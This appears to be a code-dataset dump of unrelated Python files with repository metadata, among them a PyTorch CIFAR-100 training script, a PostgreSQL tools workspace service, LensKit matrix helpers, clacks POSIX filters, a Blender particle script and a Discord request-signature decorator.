transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))]) cifar100_test = torchvision.datasets.CIFAR100(root='./data', train=False, download=True, transform=transform_test) testloader= torch.utils.data.DataLoader(cifar100_test, shuffle=True, num_workers=2, batch_size=args.batch_size) num_classes = 100 print('==> Building model..') if args.model == 'resnet': net = ResNet18(num_classes) if args.model == 'vgg': net = VGG('VGG19',num_classes) net = net.to(device) if device == 'cuda': net = torch.nn.DataParallel(net) cudnn.benchmark = True criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=args.lr, weight_decay=5e-4) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200) def train(epoch): print('Epoch: %d' % epoch) net.train() for batch_idx, (inputs, targets) in enumerate(trainloader): inputs, targets = inputs.to(device), targets.to(device) optimizer.zero_grad() outputs = net(inputs) if args.loss_func == 'std': loss = std_loss(outputs,targets) if args.loss_func =='regular': loss = criterion(outputs,targets) loss.backward() optimizer.step() def test(epoch): net.eval() test_loss = 0 correct = 0 total = 0 with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(testloader): inputs, targets = inputs.to(device), targets.to(device) outputs = net(inputs) if args.loss_func == 'std': loss = std_loss(outputs,targets) if args.loss_func =='regular': loss = criterion(outputs,targets) test_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() print('testing Accuracy: %.3f%% (%d/%d)' %(100.*correct/total, correct, total)) acc = 100.*correct/total return acc for epoch in range(0, args.epochs): train(epoch) scheduler.step() test(epoch) acc =test(0) print('Saving..') state = { 'net': net.state_dict(), 'acc': acc, 'epoch': args.epochs, 'batch size': args.batch_size, } if not os.path.isdir('Final_pretrained_models'): os.mkdir('Final_pretrained_models') torch.save(state, f'./Final_pretrained_models/{args.model}_{args.dataset}_{args.loss_func}_{args.batch_size}_{args.epochs}.pth')

1,412

0

68

3687dfbc45547dd943f334c95d56f3afef1bae2d

8,256

py

Python

pgsqltoolsservice/workspace/workspace_service.py

sergb213/pgtoolsservice

6296a207e7443fe4ebd5c91d837c033ee7886cab

[ "MIT" ]

null

pgsqltoolsservice/workspace/workspace_service.py

sergb213/pgtoolsservice

6296a207e7443fe4ebd5c91d837c033ee7886cab

[ "MIT" ]

null

pgsqltoolsservice/workspace/workspace_service.py

sergb213/pgtoolsservice

6296a207e7443fe4ebd5c91d837c033ee7886cab

[ "MIT" ]

1

2020-07-30T11:46:44.000Z

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from logging import Logger # noqa from typing import Callable, List, Optional # noqa from pgsqltoolsservice.hosting import JSONRPCServer, NotificationContext, ServiceProvider # noqa from pgsqltoolsservice.workspace.contracts import ( DID_CHANGE_CONFIG_NOTIFICATION, DidChangeConfigurationParams, DID_CHANGE_TEXT_DOCUMENT_NOTIFICATION, DidChangeTextDocumentParams, DID_OPEN_TEXT_DOCUMENT_NOTIFICATION, DidOpenTextDocumentParams, DID_CLOSE_TEXT_DOCUMENT_NOTIFICATION, DidCloseTextDocumentParams, Configuration, Range ) from pgsqltoolsservice.workspace.script_file import ScriptFile from pgsqltoolsservice.workspace.workspace import Workspace class WorkspaceService: """ Class for handling requests/events that deal with the sate of the workspace including opening and closing of files, the changing of configuration, etc. """ # PROPERTIES ########################################################### @property @property def workspace(self) -> Workspace: """Gets the current workspace""" return self._workspace # METHODS ############################################################## def get_text(self, file_uri: str, selection_range: Optional[Range]) -> str: """ Get the requested text selection, as a string, for a document :param file_uri: The URI of the requested file :param selection_data: An object containing information about which part of the file to return, or None for the whole file :raises ValueError: If there is no file matching the given URI """ open_file = self._workspace.get_file(file_uri) if open_file is None: raise ValueError('No file corresponding to the given URI') if selection_range is None: return open_file.get_all_text() else: return open_file.get_text_in_range(selection_range) # REQUEST HANDLERS ##################################################### def _handle_did_change_config( self, notification_context: NotificationContext, params: DidChangeConfigurationParams ) -> None: """ Handles the configuration change event by storing the new configuration and calling all registered config change callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ self._configuration = params.settings for callback in self._config_change_callbacks: callback(self._configuration) def _handle_did_change_text_doc( self, notification_context: NotificationContext, params: DidChangeTextDocumentParams ) -> None: """ Handles text document change notifications :param notification_context: Context of the notification :param params: Parameters of the notification """ try: # Skip processing if the file isn't opened script_file: ScriptFile = self._workspace.get_file(params.text_document.uri) if script_file is None: return # Apply the changes to the document for text_change in params.content_changes: script_file.apply_change(text_change) # Propagate the changes to the registered callbacks for callback in self._text_change_callbacks: callback(script_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc change: {e}') def _handle_did_open_text_doc( self, notification_context: NotificationContext, params: DidOpenTextDocumentParams ) -> None: """ Handles when a file is opened in the workspace. The event is propagated to the registered file open callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Open a new ScriptFile with the initial buffer provided opened_file: ScriptFile = self._workspace.open_file(params.text_document.uri, params.text_document.text) if opened_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_open_callbacks: callback(opened_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc open: {e}') def _handle_did_close_text_doc( self, notification_context: NotificationContext, params: DidCloseTextDocumentParams ) -> None: """ Handles when a file is closed in the workspace. The event is propagated to the registered file close callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Attempt to close the requested file closed_file: ScriptFile = self._workspace.close_file(params.text_document.uri) if closed_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_close_callbacks: callback(closed_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc close: {e}')

44.149733

118

0.652737

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from logging import Logger # noqa from typing import Callable, List, Optional # noqa from pgsqltoolsservice.hosting import JSONRPCServer, NotificationContext, ServiceProvider # noqa from pgsqltoolsservice.workspace.contracts import ( DID_CHANGE_CONFIG_NOTIFICATION, DidChangeConfigurationParams, DID_CHANGE_TEXT_DOCUMENT_NOTIFICATION, DidChangeTextDocumentParams, DID_OPEN_TEXT_DOCUMENT_NOTIFICATION, DidOpenTextDocumentParams, DID_CLOSE_TEXT_DOCUMENT_NOTIFICATION, DidCloseTextDocumentParams, Configuration, Range ) from pgsqltoolsservice.workspace.script_file import ScriptFile from pgsqltoolsservice.workspace.workspace import Workspace class WorkspaceService: """ Class for handling requests/events that deal with the sate of the workspace including opening and closing of files, the changing of configuration, etc. """ def __init__(self): self._service_provider: ServiceProvider = None self._server: JSONRPCServer = None self._logger: [Logger, None] = None self._workspace: Workspace = None # Create a workspace that will handle state for the session self._workspace = Workspace() self._configuration: Configuration = Configuration() # Setup callbacks for the various events we can receive self._config_change_callbacks: List[Callable[Configuration]] = [] self._text_change_callbacks: List[Callable[ScriptFile]] = [] self._text_open_callbacks: List[Callable[ScriptFile]] = [] self._text_close_callbacks: List[Callable[ScriptFile]] = [] def register(self, service_provider: ServiceProvider) -> None: self._service_provider = service_provider self._logger = service_provider.logger self._server = service_provider.server # Register the handlers for when changes to the workspace occur self._server.set_notification_handler(DID_CHANGE_TEXT_DOCUMENT_NOTIFICATION, self._handle_did_change_text_doc) self._server.set_notification_handler(DID_OPEN_TEXT_DOCUMENT_NOTIFICATION, self._handle_did_open_text_doc) self._server.set_notification_handler(DID_CLOSE_TEXT_DOCUMENT_NOTIFICATION, self._handle_did_close_text_doc) # Register handler for when the configuration changes self._service_provider.server.set_notification_handler(DID_CHANGE_CONFIG_NOTIFICATION, self._handle_did_change_config) # PROPERTIES ########################################################### @property def configuration(self) -> Configuration: return self._configuration @property def workspace(self) -> Workspace: """Gets the current workspace""" return self._workspace # METHODS ############################################################## def register_config_change_callback(self, task: Callable[[Configuration], None]) -> None: self._config_change_callbacks.append(task) def register_text_change_callback(self, task: Callable[[ScriptFile], None]) -> None: self._text_change_callbacks.append(task) def register_text_close_callback(self, task: Callable[[ScriptFile], None]) -> None: self._text_close_callbacks.append(task) def register_text_open_callback(self, task: Callable[[ScriptFile], None]) -> None: self._text_open_callbacks.append(task) def get_text(self, file_uri: str, selection_range: Optional[Range]) -> str: """ Get the requested text selection, as a string, for a document :param file_uri: The URI of the requested file :param selection_data: An object containing information about which part of the file to return, or None for the whole file :raises ValueError: If there is no file matching the given URI """ open_file = self._workspace.get_file(file_uri) if open_file is None: raise ValueError('No file corresponding to the given URI') if selection_range is None: return open_file.get_all_text() else: return open_file.get_text_in_range(selection_range) # REQUEST HANDLERS ##################################################### def _handle_did_change_config( self, notification_context: NotificationContext, params: DidChangeConfigurationParams ) -> None: """ Handles the configuration change event by storing the new configuration and calling all registered config change callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ self._configuration = params.settings for callback in self._config_change_callbacks: callback(self._configuration) def _handle_did_change_text_doc( self, notification_context: NotificationContext, params: DidChangeTextDocumentParams ) -> None: """ Handles text document change notifications :param notification_context: Context of the notification :param params: Parameters of the notification """ try: # Skip processing if the file isn't opened script_file: ScriptFile = self._workspace.get_file(params.text_document.uri) if script_file is None: return # Apply the changes to the document for text_change in params.content_changes: script_file.apply_change(text_change) # Propagate the changes to the registered callbacks for callback in self._text_change_callbacks: callback(script_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc change: {e}') def _handle_did_open_text_doc( self, notification_context: NotificationContext, params: DidOpenTextDocumentParams ) -> None: """ Handles when a file is opened in the workspace. The event is propagated to the registered file open callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Open a new ScriptFile with the initial buffer provided opened_file: ScriptFile = self._workspace.open_file(params.text_document.uri, params.text_document.text) if opened_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_open_callbacks: callback(opened_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc open: {e}') def _handle_did_close_text_doc( self, notification_context: NotificationContext, params: DidCloseTextDocumentParams ) -> None: """ Handles when a file is closed in the workspace. The event is propagated to the registered file close callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Attempt to close the requested file closed_file: ScriptFile = self._workspace.close_file(params.text_document.uri) if closed_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_close_callbacks: callback(closed_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc close: {e}')

2,059

0

187

21b26de6d2b9d84edfee3500275c6ffa369001c4

2,322

py

Python

lenskit/data/matrix.py

keener101/lkpy

7c71e8bd1f367d6a1bf57b36b129e025e2ba374d

[ "MIT" ]

210

2018-06-09T19:39:19.000Z

2022-03-19T15:14:23.000Z

lenskit/data/matrix.py

keener101/lkpy

7c71e8bd1f367d6a1bf57b36b129e025e2ba374d

[ "MIT" ]

301

2018-06-14T22:03:24.000Z

2022-03-11T23:05:57.000Z

lenskit/data/matrix.py

keener101/lkpy

7c71e8bd1f367d6a1bf57b36b129e025e2ba374d

[ "MIT" ]

57

2018-09-25T00:34:38.000Z

2022-02-21T10:09:56.000Z

""" Data manipulation routines. """ from collections import namedtuple import logging import scipy.sparse as sps import numpy as np import pandas as pd from csr import CSR _log = logging.getLogger(__name__) RatingMatrix = namedtuple('RatingMatrix', ['matrix', 'users', 'items']) RatingMatrix.__doc__ = """ A rating matrix with associated indices. Attributes: matrix(CSR or scipy.sparse.csr_matrix): The rating matrix, with users on rows and items on columns. users(pandas.Index): mapping from user IDs to row numbers. items(pandas.Index): mapping from item IDs to column numbers. """ def sparse_ratings(ratings, scipy=False, *, users=None, items=None): """ Convert a rating table to a sparse matrix of ratings. Args: ratings(pandas.DataFrame): a data table of (user, item, rating) triples. scipy(bool): if ``True`` or ``'csr'``, return a SciPy csr matrix instead of :py:class:`CSR`. if ``'coo'``, return a SciPy coo matrix. users(pandas.Index): an index of user IDs. items(pandas.Index): an index of items IDs. Returns: RatingMatrix: a named tuple containing the sparse matrix, user index, and item index. """ if users is None: users = pd.Index(np.unique(ratings.user), name='user') if items is None: items = pd.Index(np.unique(ratings.item), name='item') _log.debug('creating matrix with %d ratings for %d items by %d users', len(ratings), len(items), len(users)) row_ind = users.get_indexer(ratings.user).astype(np.intc) if np.any(row_ind < 0): raise ValueError('provided user index does not cover all users') col_ind = items.get_indexer(ratings.item).astype(np.intc) if np.any(col_ind < 0): raise ValueError('provided item index does not cover all users') if 'rating' in ratings.columns: vals = np.require(ratings.rating.values, np.float64) else: vals = None if scipy == 'coo': matrix = sps.coo_matrix( (vals, (row_ind, col_ind)), shape=(len(users), len(items)) ) else: matrix = CSR.from_coo(row_ind, col_ind, vals, (len(users), len(items))) if scipy: matrix = matrix.to_scipy() return RatingMatrix(matrix, users, items)

31.378378

83

0.646856

""" Data manipulation routines. """ from collections import namedtuple import logging import scipy.sparse as sps import numpy as np import pandas as pd from csr import CSR _log = logging.getLogger(__name__) RatingMatrix = namedtuple('RatingMatrix', ['matrix', 'users', 'items']) RatingMatrix.__doc__ = """ A rating matrix with associated indices. Attributes: matrix(CSR or scipy.sparse.csr_matrix): The rating matrix, with users on rows and items on columns. users(pandas.Index): mapping from user IDs to row numbers. items(pandas.Index): mapping from item IDs to column numbers. """ def sparse_ratings(ratings, scipy=False, *, users=None, items=None): """ Convert a rating table to a sparse matrix of ratings. Args: ratings(pandas.DataFrame): a data table of (user, item, rating) triples. scipy(bool): if ``True`` or ``'csr'``, return a SciPy csr matrix instead of :py:class:`CSR`. if ``'coo'``, return a SciPy coo matrix. users(pandas.Index): an index of user IDs. items(pandas.Index): an index of items IDs. Returns: RatingMatrix: a named tuple containing the sparse matrix, user index, and item index. """ if users is None: users = pd.Index(np.unique(ratings.user), name='user') if items is None: items = pd.Index(np.unique(ratings.item), name='item') _log.debug('creating matrix with %d ratings for %d items by %d users', len(ratings), len(items), len(users)) row_ind = users.get_indexer(ratings.user).astype(np.intc) if np.any(row_ind < 0): raise ValueError('provided user index does not cover all users') col_ind = items.get_indexer(ratings.item).astype(np.intc) if np.any(col_ind < 0): raise ValueError('provided item index does not cover all users') if 'rating' in ratings.columns: vals = np.require(ratings.rating.values, np.float64) else: vals = None if scipy == 'coo': matrix = sps.coo_matrix( (vals, (row_ind, col_ind)), shape=(len(users), len(items)) ) else: matrix = CSR.from_coo(row_ind, col_ind, vals, (len(users), len(items))) if scipy: matrix = matrix.to_scipy() return RatingMatrix(matrix, users, items)

0

a68ba59292f9e55761ad77efab34d937b8208857

6,218

py

Python

agent/src/clacks/agent/plugins/posix/filters.py

gonicus/clacks

da579f0acc4e48cf2e9451417ac6792282cf7ab6

[ "ZPL-2.1" ]

2

2015-01-26T07:15:19.000Z

2015-11-09T13:42:11.000Z

agent/src/clacks/agent/plugins/posix/filters.py

gonicus/clacks

da579f0acc4e48cf2e9451417ac6792282cf7ab6

[ "ZPL-2.1" ]

null

agent/src/clacks/agent/plugins/posix/filters.py

gonicus/clacks

da579f0acc4e48cf2e9451417ac6792282cf7ab6

[ "ZPL-2.1" ]

null

# This file is part of the clacks framework. # # http://clacks-project.org # # Copyright: # (C) 2010-2012 GONICUS GmbH, Germany, http://www.gonicus.de # # License: # GPL-2: http://www.gnu.org/licenses/gpl-2.0.html # # See the LICENSE file in the project's top-level directory for details. from clacks.agent.objects.filter import ElementFilter from clacks.agent.objects.backend.registry import ObjectBackendRegistry from clacks.common.error import ClacksErrorHandler as C from clacks.common.utils import N_ # Register the errors handled by us C.register_codes(dict( PARAMETER_NOT_NUMERIC=N_("Parameter for '%(target)s' have to be numeric"), BACKEND_TOO_MANY=N_("Too many backends for %(target)s specified"), POSIX_ID_POOL_EMPTY=N_("ID pool for attribute %(target)s is empty [> %(max)s]") )) class GenerateIDs(ElementFilter): """ Generate gid/uidNumbers on demand """ class LoadGecosState(ElementFilter): """ Detects the state of the autoGECOS attribute """ class GenerateGecos(ElementFilter): """ An object filter which automatically generates the posix-gecos entry. """ def process(self, obj, key, valDict): """ The out-filter that generates the new gecos value """ # Only generate gecos if the the autoGECOS field is True. if len(valDict["autoGECOS"]['value']) and (valDict["autoGECOS"]['value'][0]): gecos = GenerateGecos.generateGECOS(valDict) valDict["gecos"]['value'] = [gecos] return key, valDict @staticmethod def generateGECOS(valDict): """ This method genereates a new gecos value out of the given properties list. """ sn = "" givenName = "" ou = "" telephoneNumber = "" homePhone = "" if len(valDict["sn"]['value']) and (valDict["sn"]['value'][0]): sn = valDict["sn"]['value'][0] if len(valDict["givenName"]['value']) and (valDict["givenName"]['value'][0]): givenName = valDict["givenName"]['value'][0] if len(valDict["homePhone"]['value']) and (valDict["homePhone"]['value'][0]): homePhone = valDict["homePhone"]['value'][0] if len(valDict["telephoneNumber"]['value']) and (valDict["telephoneNumber"]['value'][0]): telephoneNumber = valDict["telephoneNumber"]['value'][0] if len(valDict["ou"]['value']) and (valDict["ou"]['value'][0]): ou = valDict["ou"]['value'][0] return "%s %s,%s,%s,%s" % (sn, givenName, ou, telephoneNumber, homePhone) class GetNextID(ElementFilter): """ An object filter which inserts the next free ID for the property given as parameter. But only if the current value is empty. =============== ======================= Name Description =============== ======================= attributeName The target attribute we want to generate an ID for. uidNumber/gidNumber maxValue The maximum value that would be dsitributed. =============== ======================= """

35.942197

107

0.600193

# This file is part of the clacks framework. # # http://clacks-project.org # # Copyright: # (C) 2010-2012 GONICUS GmbH, Germany, http://www.gonicus.de # # License: # GPL-2: http://www.gnu.org/licenses/gpl-2.0.html # # See the LICENSE file in the project's top-level directory for details. from clacks.agent.objects.filter import ElementFilter from clacks.agent.objects.backend.registry import ObjectBackendRegistry from clacks.common.error import ClacksErrorHandler as C from clacks.common.utils import N_ # Register the errors handled by us C.register_codes(dict( PARAMETER_NOT_NUMERIC=N_("Parameter for '%(target)s' have to be numeric"), BACKEND_TOO_MANY=N_("Too many backends for %(target)s specified"), POSIX_ID_POOL_EMPTY=N_("ID pool for attribute %(target)s is empty [> %(max)s]") )) class PosixException(Exception): pass class GenerateIDs(ElementFilter): """ Generate gid/uidNumbers on demand """ def __init__(self, obj): super(GenerateIDs, self).__init__(obj) def process(self, obj, key, valDict, maxGidValue=65500, maxUidValue=65500): try: maxUidValue = int(maxUidValue) maxGidValue = int(maxGidValue) except ValueError: raise PosixException(C.make_error("PARAMETER_NOT_NUMERIC", "GenerateIDs")) if "uidNumber" in valDict: if not(len(valDict['uidNumber']['value'])): if len(valDict["uidNumber"]['backend']) > 1: raise PosixException(C.make_error("BACKEND_TOO_MANY", "GenerateIDs")) be = ObjectBackendRegistry.getBackend(valDict["uidNumber"]['backend'][0]) uid = be.get_next_id("uidNumber") if uid > maxUidValue: raise PosixException(C.make_error("POSIX_ID_POOL_EMPTY", "uidNumber", max=maxUidValue)) valDict["uidNumber"]['value'] = [uid] if "gidNumber" in valDict: if not(len(valDict['gidNumber']['value'])): if len(valDict["gidNumber"]['backend']) > 1: raise PosixException(C.make_error("BACKEND_TOO_MANY", "GenerateIDs")) be = ObjectBackendRegistry.getBackend(valDict["gidNumber"]['backend'][0]) gid = be.get_next_id("gidNumber") if gid > maxGidValue: raise PosixException(C.make_error("POSIX_ID_POOL_EMPTY", "gidNumber", max=maxGidValue)) valDict["gidNumber"]['value'] = [gid] return key, valDict class LoadGecosState(ElementFilter): """ Detects the state of the autoGECOS attribute """ def __init__(self, obj): super(LoadGecosState, self).__init__(obj) def process(self, obj, key, valDict): # No gecos set right now if not(len(valDict['gecos']['value'])): valDict[key]['value'] = [True] return key, valDict # Check if current gecos value would match the generated one # We will then assume that this user wants to auto update his gecos entry. gecos = GenerateGecos.generateGECOS(valDict) if gecos == valDict['gecos']['value'][0]: valDict[key]['value'] = [True] return key, valDict # No auto gecos valDict[key]['value'] = [False] return key, valDict class GenerateGecos(ElementFilter): """ An object filter which automatically generates the posix-gecos entry. """ def __init__(self, obj): super(GenerateGecos, self).__init__(obj) def process(self, obj, key, valDict): """ The out-filter that generates the new gecos value """ # Only generate gecos if the the autoGECOS field is True. if len(valDict["autoGECOS"]['value']) and (valDict["autoGECOS"]['value'][0]): gecos = GenerateGecos.generateGECOS(valDict) valDict["gecos"]['value'] = [gecos] return key, valDict @staticmethod def generateGECOS(valDict): """ This method genereates a new gecos value out of the given properties list. """ sn = "" givenName = "" ou = "" telephoneNumber = "" homePhone = "" if len(valDict["sn"]['value']) and (valDict["sn"]['value'][0]): sn = valDict["sn"]['value'][0] if len(valDict["givenName"]['value']) and (valDict["givenName"]['value'][0]): givenName = valDict["givenName"]['value'][0] if len(valDict["homePhone"]['value']) and (valDict["homePhone"]['value'][0]): homePhone = valDict["homePhone"]['value'][0] if len(valDict["telephoneNumber"]['value']) and (valDict["telephoneNumber"]['value'][0]): telephoneNumber = valDict["telephoneNumber"]['value'][0] if len(valDict["ou"]['value']) and (valDict["ou"]['value'][0]): ou = valDict["ou"]['value'][0] return "%s %s,%s,%s,%s" % (sn, givenName, ou, telephoneNumber, homePhone) class GetNextID(ElementFilter): """ An object filter which inserts the next free ID for the property given as parameter. But only if the current value is empty. =============== ======================= Name Description =============== ======================= attributeName The target attribute we want to generate an ID for. uidNumber/gidNumber maxValue The maximum value that would be dsitributed. =============== ======================= """ def __init__(self, obj): super(GetNextID, self).__init__(obj) def process(self, obj, key, valDict, attributeName="uidNumber", maxValue=65500): if len(valDict[key]['value']) and (valDict[key]['value'][0] == -1): maxValue = int(maxValue) if len(valDict[key]['backend']) > 1: raise PosixException(C.make_error("BACKEND_TOO_MANY", "GetNextID")) be = ObjectBackendRegistry.getBackend(valDict[key]['backend'][0]) gid = be.get_next_id(attributeName) if gid > maxValue: raise PosixException(C.make_error("POSIX_ID_POOL_EMPTY", attributeName, max=maxValue)) valDict[key]['value'] = [gid] return key, valDict

2,905

20

208

26aa104e94d0d68739f234e5b0e9ad3e892fb26d

1,724

py

Python

blender_script.py

B0und/bad_apple_cube

cd3b69d4ccc0ae36626176a425018eb56c92a528

[ "MIT" ]

null

blender_script.py

B0und/bad_apple_cube

cd3b69d4ccc0ae36626176a425018eb56c92a528

[ "MIT" ]

null

blender_script.py

B0und/bad_apple_cube

cd3b69d4ccc0ae36626176a425018eb56c92a528

[ "MIT" ]

null

import bpy import numpy as np import glob # Global consts WIDTH = 160 HEIGHT = 120 PROJECT_PATH = "/PATH/TO/bad_apple_blender_cube" FRAME_COUNT = len(glob.glob(f'{PROJECT_PATH}/frames/*.jpg')) # Prepare particle system cube = bpy.data.objects["Cube"] degp = bpy.context.evaluated_depsgraph_get() particle_systems = cube.evaluated_get(degp).particle_systems particle_systems[0].settings.count = WIDTH * HEIGHT particle_systems[0].settings.lifetime = 99999 particle_systems[0].settings.frame_start = -1 particle_systems[0].settings.frame_end = 1 particle_systems[0].settings.emit_from = 'VOLUME' particle_systems[0].settings.physics_type = 'NO' particle_systems[0].settings.render_type = 'OBJECT' particle_systems[0].settings.instance_object = cube particle_systems[0].settings.particle_size = 1.0 # reset particle locations particles = particle_systems[0].particles total_particles = len(particles) flat_list = [0]*(3*total_particles) particles.foreach_set("location", flat_list) # load all locations into memory locations_arr = np.zeros(shape=(FRAME_COUNT, WIDTH*HEIGHT*3)) for i in range(FRAME_COUNT): temp_arr = np.load( f"{PROJECT_PATH}/locations/{i}.npy") locations_arr[i] = temp_arr def particles_location_setter(scene, degp): """ Set particle locations to a flat numpy array """ particle_systems = cube.evaluated_get(degp).particle_systems particles = particle_systems[0].particles current_frame = scene.frame_current particles.foreach_set("location", locations_arr[current_frame]) # clear the post frame handler bpy.app.handlers.frame_change_post.clear() # run the function on each frame bpy.app.handlers.frame_change_post.append(particles_location_setter)

30.245614

68

0.774362

import bpy import numpy as np import glob # Global consts WIDTH = 160 HEIGHT = 120 PROJECT_PATH = "/PATH/TO/bad_apple_blender_cube" FRAME_COUNT = len(glob.glob(f'{PROJECT_PATH}/frames/*.jpg')) # Prepare particle system cube = bpy.data.objects["Cube"] degp = bpy.context.evaluated_depsgraph_get() particle_systems = cube.evaluated_get(degp).particle_systems particle_systems[0].settings.count = WIDTH * HEIGHT particle_systems[0].settings.lifetime = 99999 particle_systems[0].settings.frame_start = -1 particle_systems[0].settings.frame_end = 1 particle_systems[0].settings.emit_from = 'VOLUME' particle_systems[0].settings.physics_type = 'NO' particle_systems[0].settings.render_type = 'OBJECT' particle_systems[0].settings.instance_object = cube particle_systems[0].settings.particle_size = 1.0 # reset particle locations particles = particle_systems[0].particles total_particles = len(particles) flat_list = [0]*(3*total_particles) particles.foreach_set("location", flat_list) # load all locations into memory locations_arr = np.zeros(shape=(FRAME_COUNT, WIDTH*HEIGHT*3)) for i in range(FRAME_COUNT): temp_arr = np.load( f"{PROJECT_PATH}/locations/{i}.npy") locations_arr[i] = temp_arr def particles_location_setter(scene, degp): """ Set particle locations to a flat numpy array """ particle_systems = cube.evaluated_get(degp).particle_systems particles = particle_systems[0].particles current_frame = scene.frame_current particles.foreach_set("location", locations_arr[current_frame]) # clear the post frame handler bpy.app.handlers.frame_change_post.clear() # run the function on each frame bpy.app.handlers.frame_change_post.append(particles_location_setter)

0

03b416a08b5dc25b0e21740642be9908f184d5ba

2,163

py

Python

discord_interactions/flask_ext/utils.py

LiBa001/discord-interactions.py

7f19e1b33dfdf2fd9d0a95a164fba8820a031bba

[ "MIT" ]

19

2021-01-07T23:57:20.000Z

2022-01-23T19:49:46.000Z

discord_interactions/flask_ext/utils.py

LiBa001/discord-interactions-wrapper

7f19e1b33dfdf2fd9d0a95a164fba8820a031bba

[ "MIT" ]

4

2021-01-09T01:18:31.000Z

2021-06-11T22:39:45.000Z

discord_interactions/flask_ext/utils.py

LiBa001/discord-interactions-wrapper

7f19e1b33dfdf2fd9d0a95a164fba8820a031bba

[ "MIT" ]

2

2021-05-21T01:08:19.000Z

2021-09-25T03:12:44.000Z

#!/usr/bin/env python """ MIT License Original work Copyright (c) 2020 Ian Webster Modified work Copyright (c) 2020-2021 Linus Bartsch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from discord_interactions import InteractionType, InteractionCallbackType, verify_key from flask import request, jsonify from functools import wraps

37.293103

88

0.714286

#!/usr/bin/env python """ MIT License Original work Copyright (c) 2020 Ian Webster Modified work Copyright (c) 2020-2021 Linus Bartsch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from discord_interactions import InteractionType, InteractionCallbackType, verify_key from flask import request, jsonify from functools import wraps def verify_key_decorator(client_public_key): def _decorator(f): @wraps(f) def wrapper(*args, **kwargs): # Verify request signature = request.headers.get("X-Signature-Ed25519") timestamp = request.headers.get("X-Signature-Timestamp") if ( signature is None or timestamp is None or not verify_key(request.data, signature, timestamp, client_public_key) ): return "Bad request signature", 401 # Automatically respond to pings if request.json and request.json.get("type") == InteractionType.PING: return jsonify({"type": InteractionCallbackType.PONG}) # Pass through return f(*args, **kwargs) return wrapper return _decorator

824

0

23

a2d3c862606cac3220edb171c369ca9b33ceab18

1,856

py

Python

practice/troubleshooting/compare_problem.py

jhabboubi/GoogleAutomation

eb2c79f5ff5e5d600de83f406f24e6d79e0d8fda

[ "MIT" ]

null

practice/troubleshooting/compare_problem.py

jhabboubi/GoogleAutomation

eb2c79f5ff5e5d600de83f406f24e6d79e0d8fda

[ "MIT" ]

null

practice/troubleshooting/compare_problem.py

jhabboubi/GoogleAutomation

eb2c79f5ff5e5d600de83f406f24e6d79e0d8fda

[ "MIT" ]

null

